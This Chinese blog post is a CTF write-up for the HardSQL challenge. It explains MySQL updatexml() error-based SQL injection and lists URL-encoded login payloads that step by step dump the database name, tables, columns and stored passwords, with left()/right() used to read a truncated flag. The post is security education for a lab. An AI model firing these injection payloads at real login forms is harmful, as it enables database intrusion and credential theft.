updatexml()报错注入——[极客大挑战 2019]HardSQL

这题完全没有想到是updatexml()报错注入,首先来看什么是报错注入。

updatexml(XML_document, XPath_string, new_value);

| 参数 | 描述 |
| ---- | ---- | ---- |
| XML_document | String格式,为XML文档对象的名称,文中为Doc |
| XPath_string | Xpath格式的字符串 |
| new_value | String格式,替换查找到的符合条件的数据 |
作用:改变文档中符合条件的节点的值

解释:由于updatexml的第二个参数需要Xpath格式的字符串,以~开头的内容不是xml格式的语法,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。

原理

select updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
  • concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出用户

  • 0x7eASCII码,实为~,upadtexml()报错信息为特殊字符、字母及之后的内容,为了前面字母丢失,开头连接一个特殊字符~

下面是对这题的payload:

admin%27or(updatexml(1,concat(0x7e,(select(database())),0x7e),1))%23&password=123 #查数据库信息
admin%27or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=123 #查表
admin%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=123 #查字段
admin%27or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))%23&password=123 #查数据

看wp说不能读完,要用left()和right()语句分别读取前后两端flag。
于是最后的payload为:

admin%27or(updatexml(1,concat(0x7e,(select(group_concat((left(password,25))))from(H4rDsq1)),0x7e),1))%23&password=123
admin%27or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=123

具体MySQL updatexml报错注入参考博客
https://blog.csdn.net/qq_41725312/article/details/83040325?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.nonecase&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-1.nonecase

posted @ 2020-07-06 18:13  seven昔年  阅读(297)  评论(0编辑  收藏  举报